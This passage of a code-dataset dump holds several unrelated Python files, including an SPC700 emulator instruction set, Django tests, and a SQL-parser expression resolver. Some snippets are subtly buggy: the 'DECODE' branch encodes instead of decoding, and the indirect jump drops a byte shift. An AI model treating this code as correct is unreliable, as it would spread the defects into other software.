self.idle()\n self.PC += int8(data)\n\ndef instructionBranchNotDirect(self):\n address = self.fetch()\n data = self.load(address)\n self.idle()\n displacement = self.fetch()\n if(self.A == data):\n return\n self.idle()\n self.idle()\n self.PC += int8(displacement)\n\ndef instructionBranchNotDirectDecrement(self):\n address = self.fetch()\n data = self.load(address) -1\n self.store(address, data)\n displacement = self.fetch()\n if(data == 0):\n return\n self.idle()\n self.idle()\n self.PC += int8(displacement)\n\ndef instructionBranchNotDirectIndexed(self, index):\n address = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n data = self.load(address + regindex)\n self.idle()\n displacement = self.fetch()\n if(self.A == data):\n return\n self.idle()\n self.idle()\n self.PC += int8(displacement)\n\ndef instructionBranchNotYDecrement(self):\n self.read(self.PC)\n self.idle()\n displacement = self.fetch()\n self.Y -= 1\n if(self.Y == 0):\n return\n self.idle()\n self.idle()\n self.PC += int8(displacement)\n\ndef instructionBreak(self):\n self.read(self.PC)\n self.push(self.PC >> 8)\n self.push(self.PC & 0xFF)\n self.push(self.P.value)\n self.idle()\n address = self.read(0xffde + 0)\n address |= self.read(0xffde + 1) << 8\n self.PC = address\n self.P.I = 0\n self.P.B = 1\n\ndef instructionCallAbsolute(self):\n address = self.fetch()\n address |= self.fetch() << 8\n self.idle()\n self.push(self.PC >> 8)\n self.push(self.PC & 0xFF)\n self.idle()\n self.idle()\n self.PC = address\n\ndef instructionCallPage(self):\n address = self.fetch()\n self.idle()\n self.push(self.PC >> 8)\n self.push(self.PC & 0xFF)\n self.idle()\n self.PC = 0xFF00 | address\n\ndef instructionCallTable(self, vector):\n self.read(self.PC)\n self.idle()\n self.push(self.PC >> 8)\n self.push(self.PC & 0xFF)\n self.idle()\n address = 0xFFDE - (vector << 1)\n pc = self.read(address + 0)\n pc |= self.read(address + 1) << 8\n self.PC = pc\n\ndef instructionComplementCarry(self):\n self.read(self.PC)\n self.idle()\n self.P.C = ~self.P.C\n\ndef instructionDecimalAdjustAdd(self):\n self.read(self.PC)\n self.idle()\n if self.P.C == 1 or self.A > 0x99:\n self.A += 0x60\n self.P.C = 1\n if self.P.H == 1 or (self.A & 15) > 0x09:\n self.A += 0x06\n self.P.Z = self.A == 0\n self.P.N = self.A & 0x80\n\ndef instructionDecimalAdjustSub(self):\n self.read(self.PC)\n self.idle()\n if self.P.C == 0 or self.A > 0x99:\n self.A -= 0x60\n self.P.C = 0\n if self.P.H == 0 or (self.A & 15) > 0x09:\n self.A -= 0x06\n self.P.Z = self.A == 0\n self.P.N = self.A & 0x80\n\ndef instructionDirectRead(self, op, target):\n address = self.fetch()\n data = self.load(address)\n regtarget = getattr(self, target)\n setattr(self,target,op(regtarget, data))\n\ndef instructionDirectModify(self, op):\n address = self.fetch()\n data = self.load(address)\n self.store(address, op(data))\n\ndef instructionDirectWrite(self, data):\n address = self.fetch()\n self.load(address)\n regdata = getattr(self, data)\n self.store(address, regdata)\n\ndef instructionDirectDirectCompare(self, op):\n source = self.fetch()\n rhs = self.load(source)\n target = self.fetch()\n lhs = self.load(target)\n lhs = op(lhs, rhs)\n self.idle()\n \ndef instructionDirectDirectModify(self, op):\n source = self.fetch()\n rhs = self.load(source)\n target = self.fetch()\n lhs = self.load(target)\n lhs = op(lhs, rhs)\n self.store(target, lhs)\n\ndef instructionDirectDirectWrite(self):\n source = self.fetch()\n data = self.load(source)\n target = self.fetch()\n self.store(target, data)\n\ndef instructionDirectImmediateCompare(self, op):\n immediate = self.fetch()\n address = self.fetch()\n data = self.load(address)\n data = op(data, immediate)\n self.idle()\n\ndef instructionDirectImmediateModify(self, op):\n immediate = self.fetch()\n address = self.fetch()\n data = self.load(address)\n data = op(data, immediate)\n self.store(address, data)\n\ndef instructionDirectImmediateWrite(self):\n immediate = self.fetch()\n address = self.fetch()\n self.load(address)\n self.store(address, immediate)\n\ndef instructionDirectCompareWord(self, op):\n address = self.fetch()\n data = self.load(address + 0)\n data |= self.load(address + 1) << 8\n self.YA = op(self.YA, data)\n\ndef instructionDirectReadWord(self, op):\n address = self.fetch()\n data = self.load(address + 0)\n self.idle()\n data |= self.load(address + 1) << 8\n self.YA = op(self.YA, data)\n\ndef instructionDirectModifyWord(self, adjust):\n address = self.fetch()\n data = self.load(address + 0) + adjust\n self.store(address + 0, data >> 0)\n data += self.load(address + 1) << 8\n self.store(address + 1, data >> 8)\n self.P.Z = data == 0\n self.P.N = data & 0x8000\n\ndef instructionDirectWriteWord(self):\n address = self.fetch()\n self.load(address + 0)\n self.store(address + 0, self.A)\n self.store(address + 1, self.Y)\n\ndef instructionDirectIndexedRead(self, op, target, index):\n address = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n data = self.load(address + regindex)\n regdst = getattr(self, target)\n setattr(self,target,op(regdst, data))\n\ndef instructionDirectIndexedModify(self, op, index):\n address = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n data = self.load(address + regindex)\n self.store(address + regindex, op(data))\n\ndef instructionDirectIndexedWrite(self, data, index):\n address = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n self.load(address + regindex)\n self.store(address + regindex, data)\n\ndef instructionDivide(self):\n self.read(self.PC)\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n ya = self.YA\n # overflow set if quotient >= 256\n self.P.H = (self.Y & 0xF) >= (self.X & 0xF)\n self.P.V = self.Y >= self.X\n if self.Y < (self.X << 1):\n self.A = int(ya / self.X) & 0xFF\n self.Y = ya % self.X\n else:\n # otherwise the quotient won't fit into V + A\n # this emulates the odd behavior of the S-SMP in this case\n self.A = 255 - (int((ya - (self.X << 9)) / (256 - self.X)) & 0XFF)\n self.Y = self.X + ((ya - (self.X << 9)) % (256 - self.X))\n self.P.Z = self.A == 0\n self.P.N = self.A & 0x80\n\ndef instructionExchangeNibble(self):\n self.read(self.PC)\n self.idle()\n self.idle()\n self.idle()\n self.A = (self.A >> 4 | (self.A << 4) & 0xFF)\n self.P.Z = self.A == 0\n self.P.N = self.A & 0x80\n\ndef instructionFlagSet(self, flag, value):\n self.P.value = bitset(self.P.value, flag, int(value))\n\ndef instructionImmediateRead(self, op, target):\n data = self.fetch()\n reg = getattr(self, target)\n setattr(self, target, op(reg, data))\n\ndef instructionImpliedModify(self, op, target):\n self.read(self.PC)\n regtarget = getattr(self, target)\n setattr(self, target, op(regtarget))\n\ndef instructionIndexedIndirectRead(self, op, index):\n indirect = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n address = self.load(indirect + regindex + 0)\n address |= self.load(indirect + regindex + 1) << 8\n data = self.read(address)\n self.A = op(self.A, data)\n\ndef instructionIndexedIndirectWrite(self, data, index):\n indirect = self.fetch()\n self.idle()\n regindex = getattr(self, index)\n address = self.load(indirect + regindex + 0)\n address |= self.load(indirect + regindex + 1) << 8\n self.read(address)\n regdata = getattr(self, data)\n self.write(address, regdata)\n\ndef instructionIndirectIndexedRead(self, op, index):\n indirect = self.fetch()\n self.idle()\n address = self.load(indirect + 0)\n address |= self.load(indirect + 1) << 8\n regindex = getattr(self, index)\n data = self.read(address + regindex)\n self.A = op(self.A, data)\n\ndef instructionIndirectIndexedWrite(self, data, index):\n indirect = self.fetch()\n address = self.load(indirect + 0)\n address |= self.load(indirect + 1) << 8\n self.idle()\n regindex = getattr(self, index)\n self.read(address + regindex)\n regdata = getattr(self, data)\n self.write(address + regindex, regdata)\n\ndef instructionIndirectXRead(self, op):\n self.read(self.PC)\n data = self.load(self.X)\n self.A = op(self.A, data)\n\ndef instructionIndirectXWrite(self, data):\n self.read(self.PC)\n self.load(self.X)\n regdata = getattr(self, data)\n self.store(self.X, regdata)\n\ndef instructionIndirectXIncrementRead(self, data):\n self.read(self.PC)\n data = self.load(self.X)\n self.X += 1\n self.idle() # quirk: consumes extra idle cycle compared to most read instructions\n regdata = getattr(self, data)\n self.P.Z = regdata == 0\n self.P.N = regdata & 0x80\n\ndef instructionIndirectXIncrementWrite(self, data):\n self.read(self.PC)\n self.idle() # quirk: consumes extra idle cycle compared to most read instructions\n regdata = getattr(self, data)\n self.store(self.X, regdata)\n self.X += 1\n\ndef instructionIndirectXCompareIndirectY(self, op):\n self.read(self.PC)\n rhs = self.load(self.Y)\n lhs = self.load(self.X)\n lhs = op(lhs, rhs)\n self.idle()\n\ndef instructionIndirectXWriteIndirectY(self, op):\n self.read(self.PC)\n rhs = self.load(self.Y)\n lhs = self.load(self.X)\n lhs = op(lhs, rhs)\n self.store(self.X, lhs)\n\ndef instructionJumpAbsolute(self):\n address = self.fetch()\n address |= self.fetch() << 8\n self.PC = address\n\ndef instructionJumpIndirectX(self):\n address = self.fetch()\n address |= self.fetch() << 8\n self.idle()\n pc = self.read(address + self.X + 0)\n pc |= self.read(address + self.X + 1)\n self.PC = pc\n \ndef instructionMultiply(self):\n self.read(self.PC)\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n self.idle()\n ya = self.Y * self.A\n self.A = ya & 0xFF\n self.Y = ya >> 8\n self.P.Z = self.Y == 0\n self.P.N = self.Y & 0x80\n\ndef instructionNoOperation(self):\n self.read(self.PC)\n\ndef instructionOverflowClear(self):\n self.read(self.PC)\n self.P.H = 0\n self.P.V = 0\n\ndef instructionPull(self, data):\n self.read(self.PC)\n self.idle()\n setattr(self, data, self.pull())\n \ndef instructionPullP(self):\n self.read(self.PC)\n self.idle()\n self.P.value = self.pull()\n\ndef instructionPush(self, data):\n self.read(self.PC)\n regdata = getattr(self, data)\n self.push(regdata)\n self.idle()\n\ndef instructionReturnInterrupt(self):\n self.read(self.PC)\n self.idle()\n self.P.value = self.pull()\n address = self.pull()\n address |= self.pull() << 8\n self.PC = address\n\ndef instructionReturnSubroutine(self):\n self.read(self.PC)\n self.idle()\n address = self.pull()\n address |= self.pull() << 8\n self.PC = address\n\ndef instructionStop(self):\n self.stop = True\n while(self.stop):\n self.read(self.PC)\n self.idle()\n\ndef instructionTestSetBitsAbsolute(self, set):\n address = self.fetch()\n address |= self.fetch() << 8\n data = self.read(address)\n self.P.Z = (self.A - data) == 0\n self.P.N = (self.A - data) & 0x80\n self.read(address)\n self.write(address, data | self.A if set else data & ~self.A)\n\ndef instructionTransfer(self, start, end):\n self.read(self.PC)\n regfrom = getattr(self, start)\n setattr(self, end, regfrom)\n if start == \"S\":\n return\n self.P.Z = regfrom == 0\n self.P.N = regfrom & 0x80\n\ndef instructionWait(self):\n self.wait = True\n while(self.wait):\n self.read(self.PC)\n self.idle()\n\ndef algorithmADC(self, x, y):\n z = x + y + self.P.C\n self.P.C = z > 0xFF\n self.P.Z = (z & 0xFF) == 0\n self.P.H = (x ^ y ^ z) & 0x10\n self.P.V = ~(x ^ y) & (x ^ z) & 0x80\n self.P.N = z & 0x80\n return z & 0xFF\n\ndef algorithmAND(self, x, y):\n x &= y\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmASL(self, x):\n self.P.C = x & 0x80\n x <<= 1\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmCMP(self, x, y):\n z = x - y\n self.P.C = z >= 0\n self.P.Z = (z & 0xFF) == 0\n self.P.N = z & 0x80\n return x & 0xFF\n\ndef algorithmDEC(self, x):\n x -= 1\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmEOR(self, x, y):\n x ^= y\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmINC(self, x):\n x += 1\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmLD(self, x, y):\n self.P.Z = y == 0\n self.P.N = y & 0x80\n return y & 0xFF\n\ndef algorithmLSR(self, x):\n self.P.C = x & 0x01\n x >>= 1\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmOR(self, x, y):\n x |= y\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmROL(self, x):\n carry = self.P.C\n self.P.C = x & 0x80\n x = x << 1 | carry\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmROR(self, x):\n carry = self.P.C\n self.P.C = x & 0x01\n x = carry << 7 | x >> 1\n self.P.Z = (x & 0XFF) == 0\n self.P.N = x & 0x80\n return x & 0xFF\n\ndef algorithmSBC(self, x, y):\n return self.algorithmADC(x, ~y)\n\ndef algorithmADW(self, x, y):\n self.P.C = 0\n z = self.algorithmADC(x & 0xFF, y & 0xFF)\n z |= self.algorithmADC(x >> 8, y >> 8) << 8\n self.P.Z = z == 0\n return z & 0xFFFF\n\ndef algorithmCPW(self, x, y):\n z = x - y\n self.P.C = z >= 0\n self.P.Z = (z & 0xFFFF) == 0\n self.P.N = z & 0x8000\n return x & 0xFFFF\n\ndef algorithmLDW(self, x, y):\n self.P.Z = y == 0\n self.P.N = y & 0x8000\n return y & 0xFFFF\n\ndef algorithmSBW(self, x, y):\n self.P.C = 1\n z = self.algorithmSBC(x & 0xFF, y & 0xFF)\n z |= self.algorithmSBC(x >> 8, y >> 8) << 8\n self.P.Z = z == 0\n return z\n","sub_path":"instructions.py","file_name":"instructions.py","file_ext":"py","file_size_in_byte":19213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"47052068","text":"from django.test import TestCase\nfrom .models import People, Companies\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom django.urls import reverse\n\n\nclass ModelTest(TestCase):\n \"\"\"This class defines the test suite for models.\"\"\"\n\n def setUp(self):\n \"\"\"Define the test client and other test variables.\"\"\"\n\n def tearDown(self):\n \"\"\"Destroy resources and remove temporaries after test.\"\"\"\n\n def test_create_people(self):\n \"\"\"Test the People model by creating a person.\"\"\"\n person = People(index=0)\n prvCount = People.objects.count()\n person.save()\n currCount = People.objects.count()\n self.assertNotEqual(prvCount, currCount)\n\n def test_create_companies(self):\n \"\"\"Test the Companies model by creating a company.\"\"\"\n company = Companies(index=0)\n prvCount = Companies.objects.count()\n company.save()\n currCount = Companies.objects.count()\n self.assertNotEqual(prvCount, currCount)\n\n\nclass ViewTest(TestCase):\n \"\"\"Test suite for the api views.\"\"\"\n\n def setUp(self):\n \"\"\"Define the test client and other test variables.\"\"\"\n self.person1 = {\n 'name': 'Amy Goff',\n 'index': 1,\n }\n self.person2 = {\n 'name': 'Kim York',\n 'index': 2,\n }\n company = Companies(index=1)\n company.save()\n People(company=company, **self.person1).save()\n People(company=company, **self.person2).save()\n self.client = APIClient()\n\n def test_twopeople(self):\n \"\"\"API returns response with two people.\"\"\"\n response = self.client.get(reverse('twopeople', kwargs={'pk1': self.person1['index'], 'pk2': self.person2['index']}), format=\"json\")\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.person1['name'])\n self.assertContains(response, self.person2['name'])\n\n def test_get_employees(self):\n \"\"\"API returns response for company with Employees.\"\"\"\n response = self.client.get(reverse('employees-detail', kwargs={'pk': self.person1['index']}), format=\"json\")\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.person1['name'])\n self.assertContains(response, self.person2['name'])\n\n def test_get_no_employees(self):\n \"\"\"API returns response for invalid company index provided.\"\"\"\n response = self.client.get(reverse('employees-detail', kwargs={'pk':9999}), format=\"json\")\n\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n\n def test_get_fruits_and_vegetables(self):\n \"\"\"API returns response for employees with their favurite fruits and vegitables.\"\"\"\n response = self.client.get(reverse('fruits_and_vegetables-detail', kwargs={'pk': self.person1['index']}), format=\"json\")\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.person1['name'])\n\n def test_get_no_fruits_and_vegetables(self):\n \"\"\"API returns response for invalid index provided.\"\"\"\n response = self.client.get(reverse('fruits_and_vegetables-detail', kwargs={'pk': 9999}), format=\"json\")\n\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","sub_path":"api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"145427293","text":"#!/bin/env python\n#-*- encoding=utf8 -*-\n\nclass CacheInfo(object):\n \n\n class SourceCacheName(object):\n\n #list_recomm_app_info = 'lRecAppInfo:%s'\n\n hash_recomm_app_info = 'hRecAppInfo:%s_%s' #shower_appid\n\n hash_app_info = 'hAppInfo:%s'\n\n hash_app_detail = 'hAppDetail:%s_%s'\n\n list_app_pic = 'lAppPic:%s_%s'\n\n hash_top_apps = 'hTopApps:%s'\n\n hash_app_downtimes = 'hAppDowntimes:%s'\n\n hash_newest_app_ver = 'hNewestAppVer:%s'\n\n hash_app_type = 'hGroups:%s_%s' # classid_groupid\n \n hash_app_list = 'hGroupApps:%s_%s_%s' # classid_groupid_ordertype\n\n \n\n class ResultCacheName(object):\n\n serialized_recomm_apps = 'seriRecommApps:%s' # showver\n\n serialized_top_apps = 'seriTopApps:%s_%s_%s' # listid_pagesize_pageindex\n\n serialized_app_down_info = 'seriAppDownInfo:%s'# appid\n\n serialized_app_detail = 'seriaAppDetail:%s' # appid\n\n serialized_app_type = 'seriGroups:%s' # classid\n\n serialized_app_list = 'seriGroupApps:%s_%s_%s_%s_%s' # classid_groupid_pagesize_pageindex_ordertype \n\n\n class RecAppInfoKey(object):\n\n app_id = 'appid'\n\n pos_id = 'posid'\n\n ads_title = 'adstitle'\n\n recomm_pic_url = 'recommpicurl'\n\n\n class AppInfoKey(object):\n\n app_id = 'appid'\n\n main_pack_id = 'mainpackid'\n\n app_name = 'appname'\n\n pack_name = 'packname'\n\n box_pic_url = 'boxpicurl'\n\n # ads_pic_url = 'adspicurl'\n\n # ads_prompt = 'adsprompt'\n\n recom_word = 'recomword'\n\n recom_level = 'recommlevel'\n\n downtimes = 'downtimes'\n\n thumb_pic_url = 'thumbpicurl'\n\n main_vercode = 'mainvercode'\n\n search_keys = 'searchkeys'\n\n update_time = 'updtime'\n\n app_class = 'appclass'\n\n app_type_id = 'apptypeid'\n\n\n class AppDetailKey(object):\n\n dev_name = 'devname'\n\n app_desc = 'appdesc'\n\n app_pic_url = 'apppicurl'\n\n pack_size = 'packsize'\n\n ver_code = 'vercode'\n\n ver_name = 'vername'\n\n pack_id = 'packid'\n\n pack_name = 'packname'\n\n pack_url = 'packurl'\n\n box_pic_url = 'boxpicurl'\n\n pack_md5 = 'packmd5'\n\n pub_time = 'pubtime'\n\n lan_desc = 'landesc'\n\n comp_desc = 'compdesc'\n\n update_desc = 'updatedesc'\n\n\n class TopApps(object):\n\n app_id = 'appid'\n\n\n class Groups(object):\n\n group_id = 'groupid'\n group_name = 'name'\n app_cnt = 'appcnt'\n img_url = 'imgurl'\n desc = 'desc'\n sort_index = 'sortindex'\n\n\n class GroupApps(object):\n\n app_id = 'appid'\n\n\n class AppDwontimes(object):\n\n pack_id = 'packid'\n\n\n class NewestAppVer(object):\n\n app_id = 'appid'\n\n pack_id = 'packid'\n\n ver_name = 'vername'\n\n ver_code = 'vercode'\n\n\nclass CommStatusCode(object):\n\n exception_error = 100\n exception_error_msg = u'异常失败'\n\n illegal_request = 101\n illegal_request_msg = u'非法请求'\n\n illegal_user = 102\n illegal_user_msg = u'用户token验证失败'\n\n illegal_role = 103\n illegal_role_msg = u'角色token验证失败'\n\n illegal_app = 104\n illegal_app_msg = u'应用token验证失败'\n\n opera_freq = 105\n opera_freq_msg = u'操作频繁'\n\n service_busy = 106\n service_busy_msg = u'服务器繁忙'\n\n\nclass AppsGlobalConfig(object):\n \"\"\"商店的全局配置\n \"\"\"\n\n ThumbPicSwitch = 0 # 缩略图开关: 0=开启, 1=关闭 \n\n\nclass IndividualConfig(object):\n \"\"\"个别的测试配置\n \"\"\"\n\n imeis = ()\n\n ips = ('58.250.170.12')\n\n ThumbPicSwitch = 1 ","sub_path":"pushsvc_api/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"381180448","text":"import base64\nimport datetime\nimport hashlib\nimport time\nfrom datetime import date\n\nimport tytus.parser.team21.Analisis_Ascendente.Instrucciones.Expresiones.Expresion as Expresion\nfrom tytus.parser.team21.Analisis_Ascendente.Instrucciones.Expresiones.Math import Math_\nfrom tytus.parser.team21.Analisis_Ascendente.Instrucciones.Expresiones.Trigonometrica import Trigonometrica\nfrom tytus.parser.team21.Analisis_Ascendente.Instrucciones.expresion import Primitivo, Id\nfrom tytus.parser.team21.Analisis_Ascendente.Instrucciones.instruccion import Instruccion, IdId\nfrom currency_converter import CurrencyConverter\n\nclass Binario(Instruccion):\n\n '''#1 LENGTH\n #2 SHA256\n #3 ENCODE\n #4 DECODE\n #5 SUBSTRING | SUBSTR\n #6 TRIM\n #7 GET_BYTE\n #8 SET_BYTE\n #9 CONVERT\n #10 GREATEST\n #11 LEAST '''\n\n def __init__(self, caso, valor1, valor2, valor3,fila,columna):\n self.caso = caso\n self.valor1 = valor1\n self.valor2 = valor2\n self.valor3 = valor3\n self.fila = fila\n self.columna = columna\n\n def Resolver(bina,ts,Consola,exceptions):\n\n if isinstance(bina,Binario):\n print(\"estamos aqui\")\n print(bina);\n print(bina.valor1)\n print(bina.valor2)\n if str(bina.valor2).upper() == 'LENGTH':\n return len(str(bina.valor1.valor))\n elif str(bina.valor2).upper() == 'ENCODE':\n message_bytes = bina.valor1.valor.encode('ascii')\n base64_bytes = base64.b64encode(message_bytes)\n base64_message = base64_bytes.decode('ascii')\n resultado = base64_message\n return resultado\n elif str(bina.valor2).upper() == 'DECODE':\n message_bytes = bina.valor1.valor.encode('ascii')\n base64_bytes = base64.b64encode(message_bytes)\n base64_message = base64_bytes.decode('ascii')\n resultado = base64_message\n return resultado\n elif str(bina.valor2).upper() == 'SHA256':\n\n return hashlib.sha256(str(bina.valor1.valor).encode()).hexdigest()\n elif str(bina.valor1).upper() == 'GET_BYTE':\n return ord(str(bina.valor2)[int(bina.valor3): int(bina.valor3) + 1])\n elif bina.caso == 8:#set_byte\n resultado = None\n cadena =\"\"\n cont=0\n for letra in str(bina.valor1):\n if(cont==int(bina.valor2)):\n cadena+= chr(bina.valor3)\n cont +=1\n continue\n cadena += letra\n cont +=1\n resultado= cadena\n return resultado\n elif bina.caso == 5:#substring\n retorno = Expresion.Expresion.Resolver(bina.valor1,ts,Consola,exceptions)\n return str(retorno)[int(bina.valor2):int(bina.valor3)]\n elif bina.caso == 9:\n print(\"Esto es un convert\")\n try:\n print(\"Tipo: \",bina.valor2.tipo)\n if bina.valor2.tipo == 'INTEGER' or bina.valor2.tipo == 'SMALLINT':\n return int(bina.valor1)\n elif bina.valor2.tipo == 'DATE':\n print(bina.valor1)\n print(time.strftime(bina.valor1))\n return str(time.strftime(bina.valor1))\n elif bina.valor2.tipo == 'FLOAT':\n return float(bina.valor1)\n elif bina.valor2.tipo == 'MONEY':\n return str(\"Q \"+str(bina.valor1))\n\n\n\n\n\n\n except:\n return None\n\n\n elif isinstance(bina, Trigonometrica.Trigonometrica):\n return Trigonometrica.Trigonometrica.Resolver(bina, ts, Consola, exceptions)\n elif isinstance(bina, Math_):\n return Math_.Resolver(bina, ts, Consola, exceptions)\n elif isinstance(bina, Primitivo):\n return bina.valor1\n elif isinstance(bina,Expresion.Expresion):\n return Expresion.Expresion.Resolver(bina ,ts,Consola,exceptions)\n elif isinstance(bina, Id):\n return bina.id\n elif isinstance(bina, IdId):\n return [bina.valor1,bina.valor2]\n\n","sub_path":"parser/team21/Analisis_Ascendente/Instrucciones/Expresiones/Binario.py","file_name":"Binario.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"162720942","text":"# -*- coding: utf-8 -*-\n#\nimport re\n# https://stackoverflow.com/a/8348914/353337\ntry:\n import textwrap\n # pylint: disable=pointless-statement\n textwrap.indent\nexcept AttributeError: # undefined function (wasn't added until Python 3.3)\n def indent(text, amount, ch=' '):\n padding = amount * ch\n return ''.join(\n padding+line for line in text.splitlines(True)\n ).replace('\\n \\n', '\\n\\n')\nelse:\n def indent(text, amount, ch=' '):\n return textwrap.indent(text, amount * ch).replace('\\n \\n', '\\n\\n')\n\n\n# pylint: disable=redefined-builtin\ndef extract(f, filter=None):\n code_blocks = []\n while True:\n line = f.readline()\n if not line:\n # EOF\n break\n\n out = re.match('[^`]*```(.*)$', line)\n if out:\n if filter and filter.strip() != out.group(1).strip():\n continue\n code_block = [f.readline()]\n while re.search('```', code_block[-1]) is None:\n code_block.append(f.readline())\n code_blocks.append(''.join(code_block[:-1]))\n return code_blocks\n\n\ndef write(f, code_blocks, prefix='test'):\n # We'd like to put all code blocks in one file, each in separate test*()\n # functions (for them to be picked up by pytest, for example), but\n # asterisk imports are forbidden in subfunctions. Hence, parse for those\n # imports and put them at the beginning of the output file.\n asterisk_imports = []\n clean_code_blocks = []\n for code_block in code_blocks:\n clean_code_block = []\n for line in code_block.split('\\n'):\n if re.match('\\\\s*from\\\\s+[^\\\\s]+\\\\s+import\\\\s+\\\\*', line):\n asterisk_imports.append(line)\n else:\n clean_code_block.append(line)\n clean_code_blocks.append('\\n'.join(clean_code_block))\n # make list unique\n asterisk_imports = list(set(asterisk_imports))\n\n f.write('\\n'.join(asterisk_imports))\n for k, code_block in enumerate(clean_code_blocks):\n f.write('\\n\\ndef %s%d():\\n' % (prefix, k))\n f.write(indent(code_block, 4))\n f.write(' return\\n')\n return\n","sub_path":"excode/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"280828507","text":"#!/usr/bin/python\n#\n# -*- coding: utf-8 -*-\n# vim: set ts=4 sw=4 et sts=4 ai:\n\nfrom django.conf.urls.defaults import patterns, include, url\n\nfrom tracker import views\n\nurlpatterns = patterns('',\n url(r'^encoder/register$', views.encoder_register),\n url(r'^encoder/logs$', views.encoder_logs),\n url(r'^(.*)/stats$', views.client_stats),\n url(r'^(.*)/streams.js$', views.streams),\n )\n","sub_path":"website/tracker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"545977945","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/softwarefabrica/django/wiki/templatetags/recentpages.py\n# Compiled at: 2009-01-08 09:11:51\nfrom django import template\nimport datetime\nfrom softwarefabrica.django.wiki.models import *\nregister = template.Library()\n\n@register.inclusion_tag('wiki/tags/last_modified_pages.html')\ndef last_modified_pages(wiki=None, num=10):\n wikiname = None\n if type(wiki) == type(Wiki):\n wikiname = wiki.name\n elif type(wiki) == type('') or type(wiki) == type(''):\n wikiname = wiki\n wiki = Wiki.objects.get(name=wikiname)\n if wiki:\n pages = Page.objects.filter(wiki=wiki).order_by('-modified')[:num]\n else:\n pages = Page.objects.order_by('-modified', 'wiki')[:num]\n return {'wiki': wiki, 'pages': pages}","sub_path":"pycfiles/softwarefabrica.django.wiki-1.0dev_BZR_r42_panta_elasticworld.org_20091021153851_6ijlut5dkxndxw1h-py2.4/recentpages.py","file_name":"recentpages.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"606435109","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport End_use_eff\n\nclass resistance_htg:\n \n \n def __init__(self, mfg_energy):\n \n self.frac_file = pd.read_csv('resistance_fractions.csv')\n \n self.bchp_frac = self.frac_file.loc[\n self.frac_file['End use'] == \"Boiler/CHP\"].set_index('NAICS')['fraction'].to_dict()\n \n self.ph_frac = self.frac_file.loc[\n self.frac_file['End use'] == \"Process heating\"].set_index('NAICS')['fraction'].to_dict()\n \n self.mfg_energy = mfg_energy\n \n self.mfg_energy.loc[:,'naics_sub'] = self.mfg_energy['naics'].astype(str).str[:3] \n \n \n def calc_ph_energy(self):\n \n\n ph_energy = End_use_eff.end_use_efficiency(self.mfg_energy).ph_eu\n ph_eff = End_use_eff.end_use_efficiency(self.mfg_energy).ph_efficiency\n \n\n #calculating proc energy based on avg PH efficiency and fraction of heating in each industry\n # that can be replaced by resistance heating\n ph_energy.loc[:,'res_MMBtu'] = ph_energy.apply(lambda x: x['MMBtu']*self.ph_frac.get(x['naics'],0),axis=1)\n \n \n ph_energy.loc[:,'proc_MMBtu'] = ph_energy.apply(lambda x: x['res_MMBtu']*ph_eff,axis=1)\n \n return ph_energy\n \n \n \n \n def calc_boiler_energy(self): \n \n \n boiler_energy = End_use_eff.end_use_efficiency(self.mfg_energy).boiler_eu\n boiler_eff = End_use_eff.end_use_efficiency(self.mfg_energy).boiler_efficiency\n \n \n #calculating proc energy based on boiler (fuel type) efficiency and inventory limit of boiler capacity\n \n boiler_energy.loc[:, 'res_MMBtu'] = boiler_energy.apply(\n lambda x: x['MMBtu'] * self.bchp_frac.get(x['naics'],0), axis=1 )\n \n \n boiler_energy.loc[:, 'proc_MMBtu'] = boiler_energy.apply(\n lambda x: boiler_eff[x['MECS_FT']] * x['res_MMBtu'], axis=1 )\n \n return 